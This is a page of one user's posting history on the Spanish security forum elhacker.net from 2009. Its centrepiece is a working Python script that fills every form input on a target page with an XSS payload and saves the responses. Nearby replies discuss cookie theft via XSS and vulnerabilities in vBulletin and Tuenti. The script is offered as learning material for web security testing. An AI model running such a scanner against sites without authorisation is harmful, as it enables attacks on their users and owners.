elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [41] 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 ... 62
401  Seguridad Informática / Nivel Web / Re: [python] Herramienta (bastante precaria) para XSS en: 7 Diciembre 2009, 23:38 pm
Pero hiciste que ese formulario fuera vulnerable?
402  Seguridad Informática / Nivel Web / Re: [python] Herramienta (bastante precaria) para XSS en: 7 Diciembre 2009, 23:01 pm
A mi la resolución de nombres si me funciona.
El resultado 0.html es lo que devolvió la web cuando se mandaron las variables con los payloads.
403  Seguridad Informática / Nivel Web / Re: [python] Herramienta (bastante precaria) para XSS en: 7 Diciembre 2009, 21:21 pm
Código:
python xss.py http://localhost/index.php  
File "xss.py", line 23
    return url[0:url[7:].find('/') 7]
                                   ^
SyntaxError: invalid syntax

algo anda mal o soy yo? :S
Ya lo he modificado y debería funcionar, misteriosamente  no se copiaron algunos símbolos.:¬¬
404  Seguridad Informática / Nivel Web / [python] Herramienta (bastante precaria) para XSS en: 7 Diciembre 2009, 17:27 pm
Bueno, la he hecho esta mañana, os la pongo para que los que no sepan mucho vayan aprendiendo y ya la iré mejorando.
Lo que hace es que le pasas como argumento la página que quieres "XSSar" y va probando el payload que le hayas puesto en todos los inputs y te guarda los resultados. Es bastante inestable.
Código
  1. #!/usr/bin/python
  2. import urllib2,urllib,sys,string
  3. from HTMLParser import HTMLParser
  4. class parsearhtml(HTMLParser):
  5.   formactual = -1
  6.   atributosform = []
  7.   atributosinput = []
  8.   def handle_starttag(self, tag, attrs):
  9.     atributosform = {}
  10.     atributosinput = {}
  11.     if tag=="form":
  12.       for i in range(len(attrs)):
  13.         atributosform[attrs[i][0]] = attrs[i][1]
  14.       self.atributosform.append(atributosform)
  15.       self.atributosinput.append([])
  16.       self.formactual+=1
  17.     if tag=="input":
  18.       for i in range(len(attrs)):
  19.         atributosinput[attrs[i][0]] = attrs[i][1]
  20.       self.atributosinput[self.formactual].append(atributosinput)
  21. def obtenerhost(url): #Funcion que obtiene el host
  22.  if url[0:7]=='http://':
  23.    return url[0:url[7:].find('/')+7]
  24.  if url[0:8]=='https://':
  25.    return url[0:url[8:].find('/')+8]
  26.  return url
  27. def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo...
  28.  i = len(url)-1
  29.  while i!=0:
  30.    if url[i]=='/': return url[:i+1]
  31.    i-=1
  32.  return url
  33. def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables
  34.  global host,carpeta
  35.  if action.find('http://')!=-1 or action.find('https://')!=-1:
  36.    return action
  37.  if action[0]=='/':
  38.    return host+action
  39.  else :
  40.    return carpeta+action
  41. url = sys.argv[1]
  42. host = obtenerhost(url)
  43. carpeta =  obtenercarpeta(url)
  44. #Variables de localizacion
  45. useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"
  46. cabeceras = { "User-Agent" : useragent }
  47. code = urllib2.urlopen(url).read()
  48. print "Codigo de la pagina obtenido ..."
  49. try :
  50. parser = parsearhtml()
  51. parser.feed(code) # Ha recogido todos los forms y los inputs
  52. except :
  53. print "Hubo un error parseando el HTML"
  54. #Ya tengo todos los datos necesarios
  55. print "Datos obtenidos ..."
  56. payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS
  57. atributosform = parser.atributosform
  58. atributosinput = parser.atributosinput
  59. if len(atributosform)==0: print "No se encontraron forms"
  60. for indice in range(len(atributosform)):
  61.  #Se obtiene la direccion a la que mandar los datos
  62.  print "Obteniendo direccion a la que mandar los datos... "
  63.  if atributosform[indice].has_key('action'):
  64.    urlamandar = obtenerruta(atributosform[indice]['action'])
  65.  else:
  66.    urlamandar = url
  67.  #Se empiezan a rellenar las variables con los payloads correspondientes...
  68.  maliciousdata = {}
  69.  print "Rellenando con los payloads las variables ..."
  70.  for varinput in atributosinput[indice]:
  71.    if varinput.has_key('name'):
  72.      maliciousdata[varinput['name']] = payloads[1]
  73.  maliciousdata = urllib.urlencode(maliciousdata)
  74.  req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras)
  75.  codeinfectado = urllib2.urlopen(req).read()
  76.  print "Escribiendo el archivo ",str(indice)+".html"
  77.  resultado = open(str(indice)+'.html','w')
  78.  resultado.write(codeinfectado)
  79.  
 
Le podéis modificar facilmente el user-agent y el payload.
Uso :
Código:
python xss.py http://localhost/xss.php
405  Seguridad Informática / Nivel Web / Re: Ayuda, logear en phpmyadmin en: 7 Diciembre 2009, 17:22 pm
No, por que lo que haces es usar javascript para acceder a elementos de la página en la que inyectas el código XSS en este caso accedes a document.cookie, donde está guardada la cookie que se usa para esa página.
406  Seguridad Informática / Nivel Web / Re: Alguna vulnerabilidad en VBulletin? en: 6 Diciembre 2009, 11:49 am
http://securityreason.com/securityalert/3907
407  Seguridad Informática / Nivel Web / Re: ENHORABUENA SIMPLEAUDIT en: 2 Diciembre 2009, 22:59 pm
Podríamos repetir esto con otros CMS no? (cuando acabemos con este)
408  Seguridad Informática / Nivel Web / Re: Vulnerabilidad XSS en tuenti. en: 29 Noviembre 2009, 17:56 pm
Cuando lo mandas tu si, pero al otro se le manda modificado.
409  Foros Generales / Sugerencias y dudas sobre el Foro / Re: [DUDA o SUGERENCIA]No mostrar respuestas a mis mensajes en: 29 Noviembre 2009, 17:06 pm
Pues ... ya va siendo el momento de que alguien la haga no? :xD
410  Seguridad Informática / Nivel Web / Re: [Tool][python] Mi herramienta para SQLi en mysql en: 29 Noviembre 2009, 00:18 am
Oh! Es verdad! Cambiando..
Páginas: 1 ... 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [41] 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 ... 62
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines